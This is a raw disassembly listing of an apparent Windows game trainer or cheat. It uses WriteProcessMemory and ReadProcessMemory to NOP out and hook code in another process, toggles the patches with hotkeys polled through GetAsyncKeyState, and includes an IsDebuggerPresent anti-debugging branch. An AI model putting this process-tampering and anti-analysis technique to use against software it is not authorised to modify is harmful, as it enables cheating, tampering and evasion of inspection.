add ebx, 0x3f04
push ebx
mov eax, dword [0x53da0c]
call fcn.00409f80
mov dword [0x53d9a4], eax
push dword [0x53da98]
push 4
push dword [0x53da0c]
mov ebx, dword [0x53da80]
add ebx, 0x10b1
push ebx
push dword [0x53da90]
call sub.KERNEL32.dll_WriteProcessMemory
mov dword [0x53d9a4], eax
mov ebx, dword [0x53da80]
add ebx, 0x3f08
push ebx
mov eax, dword [0x53da0c]
call fcn.00409f80
mov dword [0x53d9a4], eax
push dword [0x53da98]
push 4
push dword [0x53da0c]
mov ebx, dword [0x53da80]
add ebx, 0x10d3
push ebx
push dword [0x53da90]
call sub.KERNEL32.dll_WriteProcessMemory
mov dword [0x53d9a4], eax
mov ebx, dword [0x53da80]
add ebx, 0x3f10
push ebx
mov eax, dword [0x53da0c]
call fcn.00409f80
mov dword [0x53d9a4], eax
push dword [0x53da98]
push 4
push dword [0x53da0c]
mov ebx, dword [0x53da80]
add ebx, 0x10f3
push ebx
push dword [0x53da90]
call sub.KERNEL32.dll_WriteProcessMemory
mov dword [0x53d9a4], eax
mov ebx, dword [0x53da80]
add ebx, 0x3f14
push ebx
mov eax, dword [0x53da0c]
call fcn.00409f80
mov dword [0x53d9a4], eax
push dword [0x53da98]
push 4
push dword [0x53da0c]
mov ebx, dword [0x53da80]
add ebx, 0x1113
push ebx
push dword [0x53da90]
call sub.KERNEL32.dll_WriteProcessMemory
mov dword [0x53d9a4], eax
push dword [0x53da98]
push 4
push dword [0x53da0c]
mov ebx, dword [0x53da80]
add ebx, 0x1133
push ebx
push dword [0x53da90]
call sub.KERNEL32.dll_WriteProcessMemory
mov dword [0x53d9a4], eax
push 0xe8
mov ebx, dword [0x53da0c]
mov eax, ebx
call fcn.00409f70
mov dword [0x53d9a4], eax
push 0x90
mov ebx, dword [0x53da0c]
inc ebx
mov eax, ebx
call fcn.00409f70
mov dword [0x53d9a4], eax
push 0x90
mov ebx, dword [0x53da0c]
add ebx, 2
mov eax, ebx
call fcn.00409f70
mov dword [0x53d9a4], eax
push 0x90
mov ebx, dword [0x53da0c]
add ebx, 3
mov eax, ebx
call fcn.00409f70
mov dword [0x53d9a4], eax
push 0x90
mov ebx, dword [0x53da0c]
add ebx, 4
mov eax, ebx
call fcn.00409f70
mov dword [0x53d9a4], eax
push 0x90
mov ebx, dword [0x53da0c]
add ebx, 5
mov eax, ebx
call fcn.00409f70
mov dword [0x53d9a4], eax
push dword [0x53da98]
push 6
push dword [0x53da0c]
mov ebx, dword [0x53da34]
add ebx, 0x4c67db
push ebx
push dword [0x53da90]
call sub.KERNEL32.dll_WriteProcessMemory
mov dword [0x53d9a4], eax
mov ebx, dword [0x53da80]
add ebx, 0x1091
mov edi, dword [0x53da34]
add edi, 0x4c67db
sub ebx, edi
add ebx, 0xfffffffb
push ebx
mov eax, dword [0x53da0c]
call fcn.00409f80
mov dword [0x53d9a4], eax
push dword [0x53da98]
push 4
push dword [0x53da0c]
mov ebx, dword [0x53da34]
add ebx, 0x4c67dc
push ebx
push dword [0x53da90]
call sub.KERNEL32.dll_WriteProcessMemory
mov dword [0x53d9a4], eax
push 0xe8
mov ebx, dword [0x53da0c]
mov eax, ebx
call fcn.00409f70
mov dword [0x53d9a4], eax
push 0x90
mov ebx, dword [0x53da0c]
inc ebx
mov eax, ebx
call fcn.00409f70
mov dword [0x53d9a4], eax
push 0x90
mov ebx, dword [0x53da0c]
add ebx, 2
mov eax, ebx
call fcn.00409f70
mov dword [0x53d9a4], eax
push 0x90
mov ebx, dword [0x53da0c]
add ebx, 3
mov eax, ebx
call fcn.00409f70
mov dword [0x53d9a4], eax
push 0x90
mov ebx, dword [0x53da0c]
add ebx, 4
mov eax, ebx
call fcn.00409f70
mov dword [0x53d9a4], eax
push dword [0x53da98]
push 5
push dword [0x53da0c]
mov ebx, dword [0x53da34]
add ebx, 0x3158af
push ebx
push dword [0x53da90]
call sub.KERNEL32.dll_WriteProcessMemory
mov dword [0x53d9a4], eax
mov ebx, dword [0x53da80]
add ebx, 0x10d1
mov edi, dword [0x53da34]
add edi, 0x3158af
sub ebx, edi
add ebx, 0xfffffffb
push ebx
mov eax, dword [0x53da0c]
call fcn.00409f80
mov dword [0x53d9a4], eax
push dword [0x53da98]
push 4
push dword [0x53da0c]
mov ebx, dword [0x53da34]
add ebx, 0x3158b0
push ebx
push dword [0x53da90]
call sub.KERNEL32.dll_WriteProcessMemory
mov dword [0x53d9a4], eax
push 0xe8
mov ebx, dword [0x53da0c]
mov eax, ebx
call fcn.00409f70
mov dword [0x53d9a4], eax
push 0x90
mov ebx, dword [0x53da0c]
inc ebx
mov eax, ebx
call fcn.00409f70
mov dword [0x53d9a4], eax
push 0x90
mov ebx, dword [0x53da0c]
add ebx, 2
mov eax, ebx
call fcn.00409f70
mov dword [0x53d9a4], eax
push 0x90
mov ebx, dword [0x53da0c]
add ebx, 3
mov eax, ebx
call fcn.00409f70
mov dword [0x53d9a4], eax
push 0x90
mov ebx, dword [0x53da0c]
add ebx, 4
mov eax, ebx
call fcn.00409f70
mov dword [0x53d9a4], eax
push 0x90
mov ebx, dword [0x53da0c]
add ebx, 5
mov eax, ebx
call fcn.00409f70
mov dword [0x53d9a4], eax
push 0x90
mov ebx, dword [0x53da0c]
add ebx, 6
mov eax, ebx
call fcn.00409f70
mov dword [0x53d9a4], eax
push 0x90
mov ebx, dword [0x53da0c]
add ebx, 7
mov eax, ebx
call fcn.00409f70
mov dword [0x53d9a4], eax
push dword [0x53da98]
push 8
push dword [0x53da0c]
mov ebx, dword [0x53da34]
add ebx, 0x33a069
push ebx
push dword [0x53da90]
call sub.KERNEL32.dll_WriteProcessMemory
mov dword [0x53d9a4], eax
mov ebx, dword [0x53da80]
add ebx, 0x10f1
mov edi, dword [0x53da34]
add edi, 0x33a069
sub ebx, edi
add ebx, 0xfffffffb
push ebx
mov eax, dword [0x53da0c]
call fcn.00409f80
mov dword [0x53d9a4], eax
push dword [0x53da98]
push 4
push dword [0x53da0c]
mov ebx, dword [0x53da34]
add ebx, 0x33a06a
push ebx
push dword [0x53da90]
call sub.KERNEL32.dll_WriteProcessMemory
mov dword [0x53d9a4], eax
push 0xe8
mov ebx, dword [0x53da0c]
mov eax, ebx
call fcn.00409f70
mov dword [0x53d9a4], eax
push 0x90
mov ebx, dword [0x53da0c]
inc ebx
mov eax, ebx
call fcn.00409f70
mov dword [0x53d9a4], eax
push 0x90
mov ebx, dword [0x53da0c]
add ebx, 2
mov eax, ebx
call fcn.00409f70
mov dword [0x53d9a4], eax
push 0x90
mov ebx, dword [0x53da0c]
add ebx, 3
mov eax, ebx
call fcn.00409f70
mov dword [0x53d9a4], eax
push 0x90
mov ebx, dword [0x53da0c]
add ebx, 4
mov eax, ebx
call fcn.00409f70
mov dword [0x53d9a4], eax
push 0x90
mov ebx, dword [0x53da0c]
add ebx, 5
mov eax, ebx
call fcn.00409f70
mov dword [0x53d9a4], eax
push 0x90
mov ebx, dword [0x53da0c]
add ebx, 6
mov eax, ebx
call fcn.00409f70
mov dword [0x53d9a4], eax
push 0x90
mov ebx, dword [0x53da0c]
add ebx, 7
mov eax, ebx
call fcn.00409f70
mov dword [0x53d9a4], eax
push dword [0x53da98]
push 8
push dword [0x53da0c]
mov ebx, dword [0x53da34]
add ebx, 0x4cd885
push ebx
push dword [0x53da90]
call sub.KERNEL32.dll_WriteProcessMemory
mov dword [0x53d9a4], eax
mov ebx, dword [0x53da80]
add ebx, 0x1111
mov edi, dword [0x53da34]
add edi, 0x4cd885
sub ebx, edi
add ebx, 0xfffffffb
push ebx
mov eax, dword [0x53da0c]
call fcn.00409f80
mov dword [0x53d9a4], eax
push dword [0x53da98]
push 4
push dword [0x53da0c]
mov ebx, dword [0x53da34]
add ebx, 0x4cd886
push ebx
push dword [0x53da90]
call sub.KERNEL32.dll_WriteProcessMemory
mov dword [0x53d9a4], eax
push 0xe8
mov ebx, dword [0x53da0c]
mov eax, ebx
call fcn.00409f70
mov dword [0x53d9a4], eax
push 0x90
mov ebx, dword [0x53da0c]
inc ebx
mov eax, ebx
call fcn.00409f70
mov dword [0x53d9a4], eax
push 0x90
mov ebx, dword [0x53da0c]
add ebx, 2
mov eax, ebx
call fcn.00409f70
mov dword [0x53d9a4], eax
push 0x90
mov ebx, dword [0x53da0c]
add ebx, 3
mov eax, ebx
call fcn.00409f70
mov dword [0x53d9a4], eax
push 0x90
mov ebx, dword [0x53da0c]
add ebx, 4
mov eax, ebx
call fcn.00409f70
mov dword [0x53d9a4], eax
push 0x90
mov ebx, dword [0x53da0c]
add ebx, 5
mov eax, ebx
call fcn.00409f70
mov dword [0x53d9a4], eax
push dword [0x53da98]
push 6
push dword [0x53da0c]
mov ebx, dword [0x53da34]
add ebx, 0x517c1b
push ebx
push dword [0x53da90]
call sub.KERNEL32.dll_WriteProcessMemory
mov dword [0x53d9a4], eax
mov ebx, dword [0x53da80]
add ebx, 0x1131
mov edi, dword [0x53da34]
add edi, 0x517c1b
sub ebx, edi
add ebx, 0xfffffffb
push ebx
mov eax, dword [0x53da0c]
call fcn.00409f80
mov dword [0x53d9a4], eax
push dword [0x53da98]
push 4
push dword [0x53da0c]
mov ebx, dword [0x53da34]
add ebx, 0x517c1c
push ebx
push dword [0x53da90]
call sub.KERNEL32.dll_WriteProcessMemory
mov dword [0x53d9a4], eax
mov dword [0x53daa8], 0
mov eax, 0xff
cmp eax, dword [0x53daa8]
jl 0x4046a2
push dword [0x53daa8]
call sub.USER32.dll_GetAsyncKeyState
inc dword [0x53daa8]
jmp 0x404682
call sub.KERNEL32.dll_IsDebuggerPresent
and eax, eax
je 0x4046b1
push 0x55009553
ret
mov ebp, dword [0x53dcb8]
push dword [ebp + 4]
call sub.USER32.dll_GetAsyncKeyState
push eax
mov ebp, dword [0x53dcd8]
pop dword [ebp + 4]
mov ebp, dword [0x53dcb8]
push dword [ebp + 8]
call sub.USER32.dll_GetAsyncKeyState
push eax
mov ebp, dword [0x53dcd8]
pop dword [ebp + 8]
mov ebp, dword [0x53dcb8]
push dword [ebp + 0xc]
call sub.USER32.dll_GetAsyncKeyState
push eax
mov ebp, dword [0x53dcd8]
pop dword [ebp + 0xc]
mov ebp, dword [0x53dcb8]
push dword [ebp + 0x10]
call sub.USER32.dll_GetAsyncKeyState
push eax
mov ebp, dword [0x53dcd8]
pop dword [ebp + 0x10]
mov ebp, dword [0x53dcb8]
push dword [ebp + 0x14]
call sub.USER32.dll_GetAsyncKeyState
push eax
mov ebp, dword [0x53dcd8]
pop dword [ebp + 0x14]
mov ebp, dword [0x53dcb8]
push dword [ebp + 0x18]
call sub.USER32.dll_GetAsyncKeyState
push eax
mov ebp, dword [0x53dcd8]
pop dword [ebp + 0x18]
mov ebp, dword [0x53dcb8]
push dword [ebp + 0x1c]
call sub.USER32.dll_GetAsyncKeyState
push eax
mov ebp, dword [0x53dcd8]
pop dword [ebp + 0x1c]
mov ebp, dword [0x53dcb8]
push dword [ebp + 0x20]
call sub.USER32.dll_GetAsyncKeyState
push eax
mov ebp, dword [0x53dcd8]
pop dword [ebp + 0x20]
mov ebp, dword [0x53dcb8]
push dword [ebp + 0x24]
call sub.USER32.dll_GetAsyncKeyState
push eax
mov ebp, dword [0x53dcd8]
pop dword [ebp + 0x24]
mov ebp, dword [0x53dcb8]
push dword [ebp + 0x28]
call sub.USER32.dll_GetAsyncKeyState
push eax
mov ebp, dword [0x53dcd8]
pop dword [ebp + 0x28]
mov ebp, dword [0x53dcb8]
push dword [ebp + 0x2c]
call sub.USER32.dll_GetAsyncKeyState
push eax
mov ebp, dword [0x53dcd8]
pop dword [ebp + 0x2c]
mov ebp, dword [0x53dcb8]
push dword [ebp + 0x30]
call sub.USER32.dll_GetAsyncKeyState
push eax
mov ebp, dword [0x53dcd8]
pop dword [ebp + 0x30]
mov ebp, dword [0x53dcb8]
push dword [ebp + 0x34]
call sub.USER32.dll_GetAsyncKeyState
push eax
mov ebp, dword [0x53dcd8]
pop dword [ebp + 0x34]
mov ebp, dword [0x53dcb8]
push dword [ebp + 0x38]
call sub.USER32.dll_GetAsyncKeyState
push eax
mov ebp, dword [0x53dcd8]
pop dword [ebp + 0x38]
mov ebp, dword [0x53dcb8]
push dword [ebp + 0x3c]
call sub.USER32.dll_GetAsyncKeyState
push eax
mov ebp, dword [0x53dcd8]
pop dword [ebp + 0x3c]
mov ebp, dword [0x53dcb8]
push dword [ebp + 0x40]
call sub.USER32.dll_GetAsyncKeyState
push eax
mov ebp, dword [0x53dcd8]
pop dword [ebp + 0x40]
mov ebp, dword [0x53dcb8]
push dword [ebp + 0x44]
call sub.USER32.dll_GetAsyncKeyState
push eax
mov ebp, dword [0x53dcd8]
pop dword [ebp + 0x44]
mov ebp, dword [0x53dcb8]
push dword [ebp + 0x48]
call sub.USER32.dll_GetAsyncKeyState
push eax
mov ebp, dword [0x53dcd8]
pop dword [ebp + 0x48]
mov ebp, dword [0x53dcb8]
push dword [ebp + 0x4c]
call sub.USER32.dll_GetAsyncKeyState
push eax
mov ebp, dword [0x53dcd8]
pop dword [ebp + 0x4c]
mov ebp, dword [0x53dcb8]
push dword [ebp + 0x50]
call sub.USER32.dll_GetAsyncKeyState
push eax
mov ebp, dword [0x53dcd8]
pop dword [ebp + 0x50]
push 0x10
call sub.USER32.dll_GetAsyncKeyState
mov dword [0x53daac], eax
push 0x11
call sub.USER32.dll_GetAsyncKeyState
mov dword [0x53dab0], eax
push 0x12
call sub.USER32.dll_GetAsyncKeyState
mov dword [0x53dab4], eax
mov eax, 0x32
call fcn.00409e39
mov dword [0x53da68], eax
mov ebx, dword [0x53da68]
cmp ebx, 0x19
jne 0x404974
mov ebx, dword [0x53d9e0]
cmp ebx, dword [0x53d9e8]
jne 0x404900
mov ebx, dword [0x53d9e0]
and ebx, ebx
je 0x404900
mov ebx, dword [0x53d9e8]
and ebx, ebx
je 0x404900
jmp 0x404907
mov eax, 1
jmp 0x404909
xor eax, eax
and eax, eax
je 0x404974
mov eax, 0xff
call fcn.00409e39
mov dword [0x53da84], eax
mov eax, 0x190
call fcn.00409e39
mov dword [0x53da88], eax
push dword [0x53da84]
mov eax, dword [0x53da0c]
call fcn.00409f70
mov dword [0x53d9a4], eax
push dword [0x53da98]
push 1
push dword [0x53da0c]
mov ebx, dword [0x53da80]
add ebx, dword [0x53da88]
add ebx, 0x1091
push ebx
push dword [0x53da90]
call sub.KERNEL32.dll_WriteProcessMemory
mov dword [0x53d9a4], eax
mov ebp, dword [0x53dcb8]
push dword [ebp + 4]
call sub.USER32.dll_GetAsyncKeyState
mov ebx, eax
mov ebp, dword [0x53dcc0]
mov edi, dword [ebp + 4]
add edi, dword [0x53daac]
imul ebx, edi
mov ebp, dword [0x53dcc8]
mov edi, dword [ebp + 4]
add edi, dword [0x53dab0]
imul ebx, edi
mov ebp, dword [0x53dcd0]
mov edi, dword [ebp + 4]
add edi, dword [0x53dab4]
imul ebx, edi
mov dword [0x53dab8], ebx
mov ebx, dword [0x53dab8]
and ebx, ebx
je 0x404ab2
push dword [0x53dabc]
xor ebx, ebx
cmp ebx, dword [esp]
jne 0x404a42
mov dword [0x53dabc], 1
push 1
mov eax, dword [0x53da0c]
call fcn.00409f80
mov dword [0x53d9a4], eax
push dword [0x53da98]
push 4
push dword [0x53da0c]
mov ebx, dword [0x53da80]
add ebx, 0x3f00
push ebx
push dword [0x53da90]
call sub.KERNEL32.dll_WriteProcessMemory
mov dword [0x53d9a4], eax
push 0
push 0
call fcn.00409257
push 0x12c
call sub.KERNEL32.dll_Sleep
jmp 0x404ab1
mov ebx, 1
cmp ebx, dword [esp]
jne 0x404ab1
mov dword [0x53dabc], 0
push 0
mov eax, dword [0x53da0c]
call fcn.00409f80
mov dword [0x53d9a4], eax
push dword [0x53da98]
push 4
push dword [0x53da0c]
mov ebx, dword [0x53da80]
add ebx, 0x3f00
push ebx
push dword [0x53da90]
call sub.KERNEL32.dll_WriteProcessMemory
mov dword [0x53d9a4], eax
push 0
push 1
call fcn.00409257
push 0x12c
call sub.KERNEL32.dll_Sleep
pop eax
mov ebp, dword [0x53dcb8]
push dword [ebp + 8]
call sub.USER32.dll_GetAsyncKeyState
mov ebx, eax
mov ebp, dword [0x53dcc0]
mov edi, dword [ebp + 8]
add edi, dword [0x53daac]
imul ebx, edi
mov ebp, dword [0x53dcc8]
mov edi, dword [ebp + 8]
add edi, dword [0x53dab0]
imul ebx, edi
mov ebp, dword [0x53dcd0]
mov edi, dword [ebp + 8]
add edi, dword [0x53dab4]
imul ebx, edi
mov dword [0x53dac0], ebx
mov ebx, dword [0x53dac0]
and ebx, ebx
je 0x404bf0
push dword [0x53dac4]
xor ebx, ebx
cmp ebx, dword [esp]
jne 0x404b80
mov dword [0x53dac4], 1
push 1
mov eax, dword [0x53da0c]
call fcn.00409f80
mov dword [0x53d9a4], eax
push dword [0x53da98]
push 4
push dword [0x53da0c]
mov ebx, dword [0x53da80]
add ebx, 0x3f04
push ebx
push dword [0x53da90]
call sub.KERNEL32.dll_WriteProcessMemory
mov dword [0x53d9a4], eax
push 0
push 0
call fcn.00409257
push 0x12c
call sub.KERNEL32.dll_Sleep
jmp 0x404bef
mov ebx, 1
cmp ebx, dword [esp]
jne 0x404bef
mov dword [0x53dac4], 0
push 0
mov eax, dword [0x53da0c]
call fcn.00409f80
mov dword [0x53d9a4], eax
push dword [0x53da98]
push 4
push dword [0x53da0c]
mov ebx, dword [0x53da80]
add ebx, 0x3f04
push ebx
push dword [0x53da90]
call sub.KERNEL32.dll_WriteProcessMemory
mov dword [0x53d9a4], eax
push 0
push 1
call fcn.00409257
push 0x12c
call sub.KERNEL32.dll_Sleep
pop eax
mov ebp, dword [0x53dcb8]
push dword [ebp + 0xc]
call sub.USER32.dll_GetAsyncKeyState
mov ebx, eax
mov ebp, dword [0x53dcc0]
mov edi, dword [ebp + 0xc]
add edi, dword [0x53daac]
imul ebx, edi
mov ebp, dword [0x53dcc8]
mov edi, dword [ebp + 0xc]
add edi, dword [0x53dab0]
imul ebx, edi
mov ebp, dword [0x53dcd0]
mov edi, dword [ebp + 0xc]
add edi, dword [0x53dab4]
imul ebx, edi
mov dword [0x53dac8], ebx
mov ebx, dword [0x53dac8]
and ebx, ebx
je 0x404d2e
push dword [0x53dacc]
xor ebx, ebx
cmp ebx, dword [esp]
jne 0x404cbe
mov dword [0x53dacc], 1
push 1
mov eax, dword [0x53da0c]
call fcn.00409f80
mov dword [0x53d9a4], eax
push dword [0x53da98]
push 4
push dword [0x53da0c]
mov ebx, dword [0x53da80]
add ebx, 0x3f08
push ebx
push dword [0x53da90]
call sub.KERNEL32.dll_WriteProcessMemory
mov dword [0x53d9a4], eax
push 0
push 0
call fcn.00409257
push 0x12c
call sub.KERNEL32.dll_Sleep
jmp 0x404d2d
mov ebx, 1
cmp ebx, dword [esp]
jne 0x404d2d
mov dword [0x53dacc], 0
push 0
mov eax, dword [0x53da0c]
call fcn.00409f80
mov dword [0x53d9a4], eax
push dword [0x53da98]
push 4
push dword [0x53da0c]
mov ebx, dword [0x53da80]
add ebx, 0x3f08
push ebx
push dword [0x53da90]
call sub.KERNEL32.dll_WriteProcessMemory
mov dword [0x53d9a4], eax
push 0
push 1
call fcn.00409257
push 0x12c
call sub.KERNEL32.dll_Sleep
pop eax
mov ebp, dword [0x53dcb8]
push dword [ebp + 0x10]
call sub.USER32.dll_GetAsyncKeyState
mov ebx, eax
mov ebp, dword [0x53dcc0]
mov edi, dword [ebp + 0x10]
add edi, dword [0x53daac]
imul ebx, edi
mov ebp, dword [0x53dcc8]
mov edi, dword [ebp + 0x10]
add edi, dword [0x53dab0]
imul ebx, edi
mov ebp, dword [0x53dcd0]
mov edi, dword [ebp + 0x10]
add edi, dword [0x53dab4]
imul ebx, edi
mov dword [0x53dad0], ebx
mov ebx, dword [0x53dad0]
and ebx, ebx
je 0x405069
push dword [0x53dad4]
xor ebx, ebx
cmp ebx, dword [esp]
jne 0x404efc
mov dword [0x53dad4], 1
push 1
mov eax, dword [0x53da0c]
call fcn.00409f80
mov dword [0x53d9a4], eax
push dword [0x53da98]
push 4
push dword [0x53da0c]
mov ebx, dword [0x53da80]
add ebx, 0x3f10
push ebx
push dword [0x53da90]
call sub.KERNEL32.dll_WriteProcessMemory
mov dword [0x53d9a4], eax
push 0x90
mov ebx, dword [0x53da0c]
mov eax, ebx
call fcn.00409f70
mov dword [0x53d9a4], eax
push 0x90
mov ebx, dword [0x53da0c]
inc ebx
mov eax, ebx
call fcn.00409f70
mov dword [0x53d9a4], eax
push 0x90
mov ebx, dword [0x53da0c]
add ebx, 2
mov eax, ebx
call fcn.00409f70
mov dword [0x53d9a4], eax
push 0x90
mov ebx, dword [0x53da0c]
add ebx, 3
mov eax, ebx
call fcn.00409f70
mov dword [0x53d9a4], eax
push 0x90
mov ebx, dword [0x53da0c]
add ebx, 4
mov eax, ebx
call fcn.00409f70
mov dword [0x53d9a4], eax
push 0x90
mov ebx, dword [0x53da0c]
add ebx, 5
mov eax, ebx
call fcn.00409f70
mov dword [0x53d9a4], eax
push 0x90
mov ebx, dword [0x53da0c]
add ebx, 6
mov eax, ebx
call fcn.00409f70
mov dword [0x53d9a4], eax
push 0x90
mov ebx, dword [0x53da0c]
add ebx, 7
mov eax, ebx
call fcn.00409f70
mov dword [0x53d9a4], eax
push dword [0x53da98]
push 8
push dword [0x53da0c]
mov ebx, dword [0x53da34]
add ebx, 0x30ed78
push ebx
push dword [0x53da90]
call sub.KERNEL32.dll_WriteProcessMemory
mov dword [0x53d9a4], eax
push 0
push 0
call fcn.00409257
push 0x12c
call sub.KERNEL32.dll_Sleep
jmp 0x405068
mov ebx, 1
cmp ebx, dword [esp]
jne 0x405068
mov dword [0x53dad4], 0
push 0
mov eax, dword [0x53da0c]
call fcn.00409f80
mov dword [0x53d9a4], eax
push dword [0x53da98]
push 4
push dword [0x53da0c]
mov ebx, dword [0x53da80]
add ebx, 0x3f10
push ebx
push dword [0x53da90]
call sub.KERNEL32.dll_WriteProcessMemory
mov dword [0x53d9a4], eax
push 0xf3
mov ebx, dword [0x53da0c]
mov eax, ebx
call fcn.00409f70
mov dword [0x53d9a4], eax
push 0xf
mov ebx, dword [0x53da0c]
inc ebx
mov eax, ebx
call fcn.00409f70
mov dword [0x53d9a4], eax
push 0x11
mov ebx, dword [0x53da0c]
add ebx, 2
mov eax, ebx
call fcn.00409f70
mov dword [0x53d9a4], eax
push 0x86
mov ebx, dword [0x53da0c]
add ebx, 3
mov eax, ebx
call fcn.00409f70
mov dword [0x53d9a4], eax
push 0x9c
mov ebx, dword [0x53da0c]
add ebx, 4
mov eax, ebx
call fcn.00409f70
mov dword [0x53d9a4], eax
push 0
mov ebx, dword [0x53da0c]
add ebx, 5
mov eax, ebx
call fcn.00409f70
mov dword [0x53d9a4], eax
push 0
mov ebx, dword [0x53da0c]
add ebx, 6
mov eax, ebx
call fcn.00409f70
mov dword [0x53d9a4], eax
push 0
mov ebx, dword [0x53da0c]
add ebx, 7
mov eax, ebx
call fcn.00409f70
mov dword [0x53d9a4], eax
push dword [0x53da98]
push 8
push dword [0x53da0c]
mov ebx, dword [0x53da34]
add ebx, 0x30ed78
push ebx
push dword [0x53da90]
call sub.KERNEL32.dll_WriteProcessMemory
mov dword [0x53d9a4], eax
push 0
push 1
call fcn.00409257
push 0x12c
call sub.KERNEL32.dll_Sleep
pop eax
mov ebp, dword [0x53dcb8]
push dword [ebp + 0x14]
call sub.USER32.dll_GetAsyncKeyState
mov ebx, eax
mov ebp, dword [0x53dcc0]
mov edi, dword [ebp + 0x14]
add edi, dword [0x53daac]
imul ebx, edi
mov ebp, dword [0x53dcc8]
mov edi, dword [ebp + 0x14]
add edi, dword [0x53dab0]
imul ebx, edi
mov ebp, dword [0x53dcd0]
mov edi, dword [ebp + 0x14]
add edi, dword [0x53dab4]
imul ebx, edi
mov dword [0x53dad8], ebx
mov ebx, dword [0x53dad8]
and ebx, ebx
je 0x4052fe
push dword [0x53dadc]
xor ebx, ebx
cmp ebx, dword [esp]
jne 0x4052a2
mov dword [0x53dadc], 1
push dword [0x53da98]
push 0xd
push dword [0x53dae0]
mov ebx, dword [0x53da34]
add ebx, 0x3008da
push ebx
push dword [0x53da90]
call sub.KERNEL32.dll_ReadProcessMemory
mov dword [0x53d9a4], eax
push 0xc7
mov ebx, dword [0x53da0c]
mov eax, ebx
call fcn.00409f70
mov dword [0x53d9a4], eax
push 0x46
mov ebx, dword [0x53da0c]
inc ebx
mov eax, ebx
call fcn.00409f70
mov dword [0x53d9a4], eax
push 0x10
mov ebx, dword [0x53da0c]
add ebx, 2
mov eax, ebx
call fcn.00409f70
mov dword [0x53d9a4], eax
push 0
mov ebx, dword [0x53da0c]
add ebx, 3
mov eax, ebx
call fcn.00409f70
mov dword [0x53d9a4], eax
push 0
mov ebx, dword [0x53da0c]
add ebx, 4
mov eax, ebx
call fcn.00409f70
mov dword [0x53d9a4], eax
push 0
mov ebx, dword [0x53da0c]
add ebx, 5
mov eax, ebx
call fcn.00409f70
mov dword [0x53d9a4], eax
push 0
mov ebx, dword [0x53da0c]
add ebx, 6
mov eax, ebx
call fcn.00409f70
mov dword [0x53d9a4], eax
push 0x90
mov ebx, dword [0x53da0c]
add ebx, 7
mov eax, ebx
call fcn.00409f70
mov dword [0x53d9a4], eax
push 0x90
mov ebx, dword [0x53da0c]
add ebx, 8
mov eax, ebx
call fcn.00409f70
mov dword [0x53d9a4], eax
push 0x90
mov ebx, dword [0x53da0c]
add ebx, 9
mov eax, ebx
call fcn.00409f70
mov dword [0x53d9a4], eax
push 0x90
mov ebx, dword [0x53da0c]
add ebx, 0xa
mov eax, ebx
call fcn.00409f70
mov dword [0x53d9a4], eax
push 0x90
mov ebx, dword [0x53da0c]
add ebx, 0xb
mov eax, ebx
call fcn.00409f70
mov dword [0x53d9a4], eax
push 0x90
mov ebx, dword [0x53da0c]
add ebx, 0xc
mov eax, ebx
call fcn.00409f70
mov dword [0x53d9a4], eax
push dword [0x53da98]
push 0xd
push dword [0x53da0c]
mov ebx, dword [0x53da34]
add ebx, 0x3008da
push ebx
push dword [0x53da90]
call sub.KERNEL32.dll_WriteProcessMemory
mov dword [0x53d9a4], eax
push 0
push 0
call fcn.00409257
push 0x12c
call sub.KERNEL32.dll_Sleep
jmp 0x4052fd
mov ebx, 1
cmp ebx, dword [esp]
jne 0x4052fd
mov dword [0x53dadc], 0
push dword [0x53da98]
push 0xd
push dword [0x53dae0]
mov ebx, dword [0x53da34]
add ebx, 0x3008da
push ebx
push dword [0x53da90]
call sub.KERNEL32.dll_WriteProcessMemory
mov dword [0x53d9a4], eax
push 0
push 1
call fcn.00409257
push 0x12c
call sub.KERNEL32.dll_Sleep
pop eax
mov ebp, dword [0x53dcb8]
push dword [ebp + 0x18]
call sub.USER32.dll_GetAsyncKeyState
mov ebx, eax
mov ebp, dword [0x53dcc0]
mov edi, dword [ebp + 0x18]
add edi, dword [0x53daac]
imul ebx, edi
mov ebp, dword [0x53dcc8]
mov edi, dword [ebp + 0x18]
add edi, dword [0x53dab0]
imul ebx, edi
mov ebp, dword [0x53dcd0]
mov edi, dword [ebp + 0x18]
add edi, dword [0x53dab4]
imul ebx, edi
mov dword [0x53dae4], ebx
mov ebx, dword [0x53dae4]
and ebx, ebx
je 0x405593
push dword [0x53dae8]
xor ebx, ebx
cmp ebx, dword [esp]
jne 0x405537
mov dword [0x53dae8], 1
push dword [0x53da98]
push 0xd
push dword [0x53daec]
mov ebx, dword [0x53da34]
add ebx, 0x7683c2
push ebx
push dword [0x53da90]
call sub.KERNEL32.dll_ReadProcessMemory
mov dword [0x53d9a4], eax
push 0xc7
mov ebx, dword [0x53da0c]
mov eax, ebx
call fcn.00409f70
mov dword [0x53d9a4], eax
push 0x46
mov ebx, dword [0x53da0c]
inc ebx
mov eax, ebx
call fcn.00409f70
mov dword [0x53d9a4], eax
push 0x10
mov ebx, dword [0x53da0c]
add ebx, 2
mov eax, ebx
call fcn.00409f70
mov dword [0x53d9a4], eax
push 0
mov ebx, dword [0x53da0c]
add ebx, 3
mov eax, ebx
call fcn.00409f70
mov dword [0x53d9a4], eax
push 0
mov ebx, dword [0x53da0c]
add ebx, 4
mov eax, ebx
call fcn.00409f70
mov dword [0x53d9a4], eax
push 0
mov ebx, dword [0x53da0c]
add ebx, 5
mov eax, ebx
call fcn.00409f70
mov dword [0x53d9a4], eax
push 0
mov ebx, dword [0x53da0c]
add ebx, 6
mov eax, ebx
call fcn.00409f70
mov dword [0x53d9a4], eax
push 0x90
mov ebx, dword [0x53da0c]
add ebx, 7
mov eax, ebx
call fcn.00409f70
mov dword [0x53d9a4], eax
push 0x90
mov ebx, dword [0x53da0c]
add ebx, 8
mov eax, ebx
call fcn.00409f70
mov dword [0x53d9a4], eax
push 0x90
mov ebx, dword [0x53da0c]
add ebx, 9
mov eax, ebx
call fcn.00409f70
mov dword [0x53d9a4], eax
push 0x90
mov ebx, dword [0x53da0c]
add ebx, 0xa
mov eax, ebx
call fcn.00409f70
mov dword [0x53d9a4], eax
push 0x90
mov ebx, dword [0x53da0c]
add ebx, 0xb
mov eax, ebx
call fcn.00409f70
mov dword [0x53d9a4], eax
push 0x90
mov ebx, dword [0x53da0c]
add ebx, 0xc
mov eax, ebx
call fcn.00409f70
mov dword [0x53d9a4], eax
push dword [0x53da98]
push 0xd
push dword [0x53da0c]
mov ebx, dword [0x53da34]
add ebx, 0x7683c2
push ebx
push dword [0x53da90]
call sub.KERNEL32.dll_WriteProcessMemory
mov dword [0x53d9a4], eax
push 0
push 0
call fcn.00409257
push 0x12c
call sub.KERNEL32.dll_Sleep
jmp 0x405592
mov ebx, 1
cmp ebx, dword [esp]
jne 0x405592
